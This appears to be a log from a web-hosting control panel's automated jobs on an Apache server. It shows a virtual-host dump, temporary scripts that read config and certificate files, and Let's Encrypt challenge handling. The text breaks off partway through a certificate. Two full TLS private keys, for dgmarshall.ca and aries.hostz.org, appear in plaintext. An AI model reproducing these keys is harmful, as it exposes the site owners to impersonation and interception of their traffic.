port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:02:06:
PUT: /tmp/pkp383597
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:02:06:
chmod 755 /tmp/pkp383597; /tmp/pkp383597; rm /tmp/pkp383597
2025-11-30 06:02:06:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 1500
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
2025-11-30 06:02:06:
PUT: /tmp/pkp202164
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:02:07:
chmod 755 /tmp/pkp202164; /tmp/pkp202164; rm /tmp/pkp202164
2025-11-30 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt 5372
59:93:4b:8e:2e:88:03:ca:94:58:33:31:c5:0f:a4:4a
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBdoARZB2YEVqdz2/rXGMkglkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzM1WhcNMjYwMjI4MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vQxokcryQ0kzi21iL+mK67MR8wEuzqdcTNjKN0PuABbF6zIaipNmvbow2/uLVMOW
sVzmZX7y62/Gln3c45SeMPkbZtzGOx5iOsCvb9xahlOwkAn6giJj2eHDe5ZctZMx
Ev066Ni4f9DULYEeH5FsfdqJxEa6UuS3zs1IOeD+9OPgQHRCOgvToYcBwjH6kfLV
VWOAxbR0DWFLXpwdbHlyXjycL7ecLBgF74tJSNN3aESjGRTuFZoNCEa6wVB1UJ1V
FYhllVZT8i3W4EyV25hmwJx9sgNyFq/aumfiYxT2BrcuzIM2cKhBkcnGXwz1vp3U
hAGr1PHSbzEt3e/iIpJIiwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQe3siTtGfVFy9p4UBH1Zs2K9DA2jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAAB
mtNaqFwAAAQDAEcwRQIhAJLoRBp1BsubA26U+w6S055frDJ1FUjost8VCAzub+N7
AiBinot9sm0jayfSW9YoQ1w2vhaeCTNAZsYRc0F7uSR7rwB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmtNaqHwAAAQDAEcwRQIhAI6GqGn2vjm/
l0K0azymvoLjCC0hDhB2p7KKcQxZq54AAiB82gFyxuxYh7xUexvGiTNBuCtaXGZZ
3b7tVRhgqcQSYTANBgkqhkiG9w0BAQsFAAOCAQEAPgaFIWRgt5ePqVVH/Ww7omid
LBUExyPsvYrWS1JUBCYV7Mz1SEWj0QpdNe8lAM3M2N6/fz7AmXjLynt+/PiqChTM
+eI1t8S3MTTlDPDG2op9ttY+7H7AVorptWgDgGK1NOQrEcIUTYvPmQqd6vpBYIae
diYQBRIUb+fpNjr/dQ4OAwtoOZbCMtf3uWY/khD9O32cIsKmqnqPBPH/uzlajUcW
UJTTw3U/nbGchVa5CsnTFNx5sWqFjNgurAlu33r13W8bxqdMO+5J+KscbGWbRRRx
SxO7Pm6pOVUbRkJotpUA61v/2ufvMRnaJDTUvBVCSWPwC2Iv5EGzxuSf3Rh7Kg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC9DGiRyvJDSTOL
bWIv6YrrsxHzAS7Op1xM2Mo3Q+4AFsXrMhqKk2a9ujDb+4tUw5axXOZlfvLrb8aW
fdzjlJ4w+Rtm3MY7HmI6wK9v3FqGU7CQCfqCImPZ4cN7lly1kzES/Tro2Lh/0NQt
gR4fkWx92onERrpS5LfOzUg54P704+BAdEI6C9OhhwHCMfqR8tVVY4DFtHQNYUte
nB1seXJePJwvt5wsGAXvi0lI03doRKMZFO4Vmg0IRrrBUHVQnVUViGWVVlPyLdbg
TJXbmGbAnH2yA3IWr9q6Z+JjFPYGty7MgzZwqEGRycZfDPW+ndSEAavU8dJvMS3d
7+IikkiLAgMBAAECggEAGOQqXI/hKBTaUZBcbjyMyw3v3hQYyqLkl0WwEmjCTIaz
Fo2pSvevfmmmh0BujwGVtNKrj0+QwokcF7KIw/pMfdw+zGNjQmN0wZGfR9Y2oRsh
00VNE5ddmFGOgJZCrLGts3deK0xltoaTeU5X3gYyx7tfilVZsRJmVTdYPC6wwyOH
auydqT1IZx494/NX4oCNFECbWAxgGFB0VgMe/6RLfm58Mwd5fke8fwjJZMlQ6Fzo
wK6kb3PEfjXK3U6AS3I4PeCbk0BdORLC8CYgC6sut8vbhTS2A00+fyxYfXPMq7UH
n3iG5wMcP1SFjvHHbY9O+/wI/OGxC9Sw9KNjV876WQKBgQD7+ncwOcRj9XUJkH9z
ql+r9j2KHIRjnQbvcCay0Eh11BcFjP84tyLXr8HbFFlEBrfEJz+O5aZr5XKLTUE8
0bWRY/S/0DS0l40bmZZ2YWetqmsJY56YGYnmiek79BwjAADvx7o5ClZ40cB6CDnD
NO4ofOV1OfU8edzsn1iGZ49PZQKBgQDAENLWE8Wufu1M44vnp5G//7ezpwfFibPJ
erZq2sBOQHQhBM90SRo965yt6d9YkFdY8vqSPfp0Xlzj+f82TUlCwZoDOf43FvyU
3A4j7vvu52uX0PQMsKh3fCa514p808/AFjIH8f5DQ3CpqLJu/W0za80AjctPc/yu
2xObH7kRLwKBgEnzjjtnGM5FYZ32/JDTtdRgJlt8VxZtJXXsMk9UdY+vOTp10Qmy
JdWrTXeglzoxxokZA7xKhfcwlddwSu8wlNsgvNn2nyFJQS6SeugvWiBL3bIZvJfj
FufEHeFsmT1kaOH2eh73e71lwdmOxHUX+bWEQkuPQPwIv9/qPC7mAddJAoGBAL9Q
wsNNxK7Rbg0V6CljqHIpBdKlQb+KMBU07/o2VjJcT5EIWqFJpCMjy9kMylZMyUUo
G2KK7Cz4Re0s/AQaLiyZ7pDiNpCnjAe3vzoZ9sf9qxX5pO/zFIyYlXau9hrrXdjI
AyQY8B4OUm4dRUf7lsgOzJCNrYRCU+PVA42UpuMvAoGBAMBFFRSLLufsEOiL00dN
qVLtt8scbeRDJoJiLsHOtZKUZEUlOi7F9ihDbL4wgNSA17n/u/svlLKvhNKwdkes
ITraTW5XUtcxXh+uvLy+4ChuAaEFbvNHRvXvvCyjeaIefCz3gfh7GagetBH1xkfA
fKJNx/pXcp7S/uzAlIQJsI7b
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:02:07: Establishing a connection
2025-11-30 06:02:08: Establishing a connection
2025-11-30 06:02:09:
PUT: /tmp/pkp375759
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:02:10:
chmod 755 /tmp/pkp375759; /tmp/pkp375759; rm /tmp/pkp375759
2025-11-30 06:02:10:
0
2025-12-01 06:00:02: Establishing a connection
2025-12-01 06:00:03: Establishing a connection
2025-12-01 06:00:03:
PUT: /tmp/pkp202910
#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-01 06:00:05:
chmod 755 /tmp/pkp202910; /tmp/pkp202910; rm /tmp/pkp202910
2025-12-01 06:00:05:
1
2025-12-01 06:00:06: Establishing a connection
2025-12-01 06:00:06:
PUT: /tmp/pkp434442
#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I
2025-12-01 06:00:06:
chmod 755 /tmp/pkp434442; /tmp/pkp434442; rm /tmp/pkp434442
2025-12-01 06:00:06:
2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12:
PUT: /tmp/pkp675269
#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm CX99x3RoYS_iYkOu2DSQ83cKGOvPNNCPQPZIULf3G3I
2025-12-01 06:00:12:
chmod 755 /tmp/pkp675269; /tmp/pkp675269; rm /tmp/pkp675269
2025-12-01 06:00:12:
2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12:
PUT: /tmp/pkp258078
#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt
cat > $temp_file <<'endmsg'
18:80:18:ef:8d:17:6a:d8:d9:20:2c:01:b0:1a:3c:ee
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBnsN45FHICGfDJWV64k40q6CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTQxWhcNMjYwMzAxMDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHdwzsHDEdqceWghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH
9DyE8+WMq1nNQyeBI5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUc
czFZrhp5NhCTnGOlj+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3
Y3EtC8tPYcjkjHXgy7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/So
qifXkn6RedADO+V4BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23
Pv+hMoHFR5I/GrZGSmcC3S9rAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFKMukSr6qfc6SIUfoDPCe/7lPA93MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQAZhtTH
KKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZrYf0eSAAAEAwBGMEQCIBrl
IOlHu2O8csZAt8cNVOAC+JoIgyrhFkldYkBEyeZvAiAQdUqUa2LI5UoMjYEQnXsa
OrcryUV/7RLhvg8dCwdBDAB3AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxh
xU4hAAABmth/R5AAAAQDAEgwRgIhAO+Wi2HPilzyV/aHeyXp6JHyn3Is/Fju5fuT
aGYizAiyAiEAlcLduUiB5vW9IQ10b52C2Mq/eKp3zzh8RlRqWO6sztswDQYJKoZI
hvcNAQELBQADggEBAIWQXyuYEVO3ogS7rTe0+vHzzZOYk628YygHuqxcn6tnHT0D
OYNIhQ9x8HQDIdf7IX8c0UCofKnZe5o81Qo2girnmDI0rNnRKZAxxn7gaFWHH4GJ
RTiGzRiwF4Sgr+56Y5qJQf909ZrtsahG/HSM8fzrXRYMU5nF52F9vP13RUg7YAPm
s4YD/33RM83+LDqauz2vPd5CG5YQx+SvalrSFqReSgKZJVsiyU3R041TIDQ7QX+z
nvB8PfjBmZ7hrd7geanb6+JIDvYKOzwm5hEFfd2HfKp78zSSSq0sqexQMsxhRx4l
I0zRvqSBg+Uy/abHAGj6qeiSczDZZeljyeIZ9JQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHdwzsHDEdqceW
ghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH9DyE8+WMq1nNQyeB
I5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUcczFZrhp5NhCTnGOl
j+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3Y3EtC8tPYcjkjHXg
y7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/SoqifXkn6RedADO+V4
BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23Pv+hMoHFR5I/GrZG
SmcC3S9rAgMBAAECggEBAIWz/Yt/UkUJ+2meB5WU27Y3sru2P7TbTdbeFYnb1+iR
uu56TRytxU/owhVvKpTd2Hteaa6jZWy76Q0dZyj/EvmM6ELj/7qdTohkMAlYtn9Q
HcwwrfwY7tQwd1L6pJZveNMea0x4ux/XIsxl8EXoUiSd+7kgVlVzad5Wi8Md3YrF
XIY1F/f8j6RSEYoaSlbhplKYCLqrgllnEbf8zi9GrMqYi/6uZjYFFp8qqlnED6Sh
G3yGlUmo/wwmimJ+Ob9niRBRhW7t3TEKgHA1fJkAArhb9ai6B2JSKmtKflorv2xc
wct+x7oztGf8ETfCswVdHmxbWKczb4Caxwa0xymKYRECgYEA5cLZ34WfVhILHi5X
vauX+PJ6/SSv95ncYSao2EkNsMCswLdCLSF5jABlWPK5ANcr80WkS//87fbz0bpJ
KMokavHPK7d6UJx8KAciKRQdC/or/LUk1rGYExULIIs0ZkTvubz9PphJ9r2LMU7Y
sxfsMMPUE5Pum26v9qSWr/WdVWcCgYEA3j57cqN85i8lNyNvZLwavUJlSjSxcEtY
CISsEa1Gf7gmC+OKIm+zSYEY8jxwXOOXdGmCJGC614DWAhbnu3YWRIPM0ubAqlUv
1AkidVPt7M4zFvcwTuvDRl/ixhKXu0t2rXGWlb2RJiCz5IyJ9jBSQvNc7sc0raT3
QyMPmmP2710CgYAcvLtNdsQQGt+jHb7BrWWrsIBrixwrRuZGjHRP4QtCUUcKL6Gq
TWaLeT0z2+AB1+faXJqJGvKCvQGP+NHPtUDK04XK/P7ieEAbLZE7PBXJ+rdnuyxp
YfsYX+htYJvkMrkdLSMrohaWMuzm9Oqrs9FJ5CRxcm5EqJp/qeRjC8Bq/wKBgE22
4aobu0Auuj/Gt1wtXthRkGPbezS+VAFei2D/C4j71uoPXi1ei/4nE5cZRV1mBH8j
qeuYm51iIvPGGLB3wZ+hywzwveySL1BhBViryaYmEL12IMFoNfe07fK/a6mF4PET
qEmiaVBA3UcNUezxxsI8oYGpzSTva7thVkJxtFbNAoGBAImos59MQ4HTvcedARaA
+pxsNmUy1fdX5sPFZS0TtfSSN028cB3NQ1sczTf0lK3iDpGJ15hSU58qH97Z5j4G
AMfcbrazIdSx69MO6YwZ/yr2ufCpAGfPjdyzeLJyI2xw8yBF4JOjYrRiJibQJBzC
LTVNlnTNXlVJtsCfLeKS+l/Y
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
